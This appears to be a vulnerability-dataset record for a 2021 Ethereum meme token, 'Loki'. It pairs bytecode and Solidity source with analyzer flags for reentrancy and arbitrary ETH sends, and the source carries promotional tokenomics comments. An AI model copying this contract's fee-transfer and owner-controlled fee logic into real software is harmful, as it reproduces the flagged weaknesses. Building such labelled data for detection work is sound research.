7c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203d8e50ffb79c3682130a7657eb05a83c2620e31cd8fc89f968e1852662f3b5b064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
448
0x54e1a3ecdf4028c6e014ce264b59efc06630c5c7
/** *Submitted for verification at Etherscan.io on 2021-07-13 */ /** * ____ ____ _ _ ___ ___ ____ ____ ___ ____ ____ ___ _ _ | |__/ \_/ |__] | | | |__| |__] |___ |___ | |__| |___ | \ | | | |__| | | | |___ .|___ | | | * TOKENOMICS: * 1,000,000,000,000 token supply * FIRST TWO MINUTES: 3,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch) * 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS * No buy or sell token limits. Whales are welcome! * 10% total tax on buy * Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT. * No team tokens, no presale * A unique approach to resolving the huge dumps after long pumps that have plagued every NotInu fork * * */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Loki is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Loki | t.me/ElonLoki"; string private constant _symbol = unicode"LOKI "; uint8 private constant _decimals = 9; uint256 private _taxFee = 6; uint256 private _teamFee = 4; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(6)).div(10); _teamFee = (_impactFee.mul(4)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 6; _teamFee = 4; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 3000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a91461037c578063c3c8cd801461039c578063c9567bf9146103b1578063db92dbb6146103c6578063dd62ed3e146103db578063e8078d941461042157600080fd5b8063715018a6146102d25780638da5cb5b146102e757806395d89b411461030f578063a9059cbb1461033d578063a985ceef1461035d57600080fd5b8063313ce567116100fd578063313ce5671461021f57806345596e2e1461023b5780635932ead11461025d57806368a3a6a51461027d5780636fc3eaec1461029d57806370a08231146102b257600080fd5b806306fdde0314610145578063095ea7b31461019457806318160ddd146101c457806323b872dd146101ea57806327f3a72a1461020a57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b506040805180820190915260148152734c6f6b69207c20742e6d652f456c6f6e4c6f6b6960601b60208201525b60405161018b9190611bf2565b60405180910390f35b3480156101a057600080fd5b506101b46101af366004611b4a565b610436565b604051901515815260200161018b565b3480156101d057600080fd5b50683635c9adc5dea000005b60405190815260200161018b565b3480156101f657600080fd5b506101b4610205366004611b0a565b61044d565b34801561021657600080fd5b506101dc6104b6565b34801561022b57600080fd5b506040516009815260200161018b565b34801561024757600080fd5b5061025b610256366004611bad565b6104c6565b005b34801561026957600080fd5b5061025b610278366004611b75565b61056f565b34801561028957600080fd5b506101dc610298366004611a9a565b6105ee565b3480156102a957600080fd5b5061025b610611565b3480156102be57600080fd5b506101dc6102cd366004611a9a565b61063e565b3480156102de57600080fd5b5061025b610660565b3480156102f357600080fd5b506000546040516001600160a01b03909116815260200161018b565b34801561031b57600080fd5b5060408051808201909152600581526402627a5a4960dd1b602082015261017e565b34801561034957600080fd5b506101b4610358366004611b4a565b6106d4565b34801561036957600080fd5b50601454600160a81b900460ff166101b4565b34801561038857600080fd5b506101dc610397366004611a9a565b6106e1565b3480156103a857600080fd5b5061025b610707565b3480156103bd57600080fd5b5061025b61073d565b3480156103d257600080fd5b506101dc61078a565b3480156103e757600080fd5b506101dc6103f6366004611ad2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042d57600080fd5b5061025b6107a2565b6000610443338484610b55565b5060015b92915050565b600061045a848484610c79565b6104ac84336104a785604051806060016040528060288152602001611dcb602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061121c565b610b55565b5060019392505050565b60006104c13061063e565b905090565b6011546001600160a01b0316336001600160a01b0316146104e657600080fd5b603381106105335760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105995760405162461bcd60e51b815260040161052a90611c45565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610564565b6001600160a01b0381166000908152600660205260408120546104479042611d35565b6011546001600160a01b0316336001600160a01b03161461063157600080fd5b4761063b81611256565b50565b6001600160a01b038116600090815260026020526040812054610447906112db565b6000546001600160a01b0316331461068a5760405162461bcd60e51b815260040161052a90611c45565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610443338484610c79565b6001600160a01b0381166000908152600660205260408120600101546104479042611d35565b6011546001600160a01b0316336001600160a01b03161461072757600080fd5b60006107323061063e565b905061063b8161135f565b6000546001600160a01b031633146107675760405162461bcd60e51b815260040161052a90611c45565b6014805460ff60a01b1916600160a01b179055610785426078611cea565b601555565b6014546000906104c1906001600160a01b031661063e565b6000546001600160a01b031633146107cc5760405162461bcd60e51b815260040161052a90611c45565b601454600160a01b900460ff16156108265760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161052a565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108633082683635c9adc5dea00000610b55565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089c57600080fd5b505afa1580156108b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d49190611ab6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561091c57600080fd5b505afa158015610930573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109549190611ab6565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561099c57600080fd5b505af11580156109b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d49190611ab6565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610a048161063e565b600080610a196000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a7c57600080fd5b505af1158015610a90573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab59190611bc5565b50506729a2241af62c00006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b1957600080fd5b505af1158015610b2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b519190611b91565b5050565b6001600160a01b038316610bb75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052a565b6001600160a01b038216610c185760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052a565b6001600160a01b038216610d3f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052a565b60008111610da15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052a565b6000546001600160a01b03848116911614801590610dcd57506000546001600160a01b03838116911614155b156111bf57601454600160a81b900460ff1615610e4d573360009081526006602052604090206002015460ff16610e4d57604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e7857506013546001600160a01b03838116911614155b8015610e9d57506001600160a01b03821660009081526005602052604090205460ff16155b1561100157601454600160a01b900460ff16610efb5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161052a565b60066009556004600a55601454600160a81b900460ff1615610fc757426015541115610fc757601054811115610f3057600080fd5b6001600160a01b0382166000908152600660205260409020544211610fa25760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161052a565b610fad42602d611cea565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff161561100157610fe442600f611cea565b6001600160a01b0383166000908152600660205260409020600101555b600061100c3061063e565b601454909150600160b01b900460ff1615801561103757506014546001600160a01b03858116911614155b801561104c5750601454600160a01b900460ff165b156111bd57601454600160a81b900460ff16156110d9576001600160a01b03841660009081526006602052604090206001015442116110d95760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161052a565b601454600160b81b900460ff161561113e576000611102600c548461150490919063ffffffff16565b6014549091506111319061112a908590611124906001600160a01b031661063e565b90611583565b82906115e2565b905061113c81611624565b505b80156111ab57600b546014546111749160649161116e9190611168906001600160a01b031661063e565b90611504565b906115e2565b8111156111a257600b5460145461119f9160649161116e9190611168906001600160a01b031661063e565b90505b6111ab8161135f565b4780156111bb576111bb47611256565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061120157506001600160a01b03831660009081526005602052604090205460ff165b1561120a575060005b61121684848484611692565b50505050565b600081848411156112405760405162461bcd60e51b815260040161052a9190611bf2565b50600061124d8486611d35565b95945050505050565b6011546001600160a01b03166108fc6112708360026115e2565b6040518115909202916000818181858888f19350505050158015611298573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112b38360026115e2565b6040518115909202916000818181858888f19350505050158015610b51573d6000803e3d6000fd5b60006007548211156113425760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161052a565b600061134c6116c0565b905061135883826115e2565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113b557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561140957600080fd5b505afa15801561141d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114419190611ab6565b8160018151811061146257634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546114889130911684610b55565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114c1908590600090869030904290600401611c7a565b600060405180830381600087803b1580156114db57600080fd5b505af11580156114ef573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b60008261151357506000610447565b600061151f8385611d16565b90508261152c8583611d02565b146113585760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052a565b6000806115908385611cea565b9050838110156113585760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052a565b600061135883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e3565b600a808210156116365750600a61164a565b60288211156116475750602861164a565b50805b611655816002611711565b15611668578061166481611d4c565b9150505b611678600a61116e836006611504565b60095561168b600a61116e836004611504565b600a555050565b8061169f5761169f611753565b6116aa848484611781565b8061121657611216600e54600955600f54600a55565b60008060006116cd611878565b90925090506116dc82826115e2565b9250505090565b600081836117045760405162461bcd60e51b815260040161052a9190611bf2565b50600061124d8486611d02565b600061135883836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118ba565b6009541580156117635750600a54155b1561176a57565b60098054600e55600a8054600f5560009182905555565b600080600080600080611793876118ee565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117c5908761194b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117f49086611583565b6001600160a01b0389166000908152600260205260409020556118168161198d565b61182084836119d7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161186591815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061189482826115e2565b8210156118b157505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118db5760405162461bcd60e51b815260040161052a9190611bf2565b506118e68385611d67565b949350505050565b600080600080600080600080600061190b8a600954600a546119fb565b925092509250600061191b6116c0565b9050600080600061192e8e878787611a4a565b919e509c509a509598509396509194505050505091939550919395565b600061135883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061121c565b60006119976116c0565b905060006119a58383611504565b306000908152600260205260409020549091506119c29082611583565b30600090815260026020526040902055505050565b6007546119e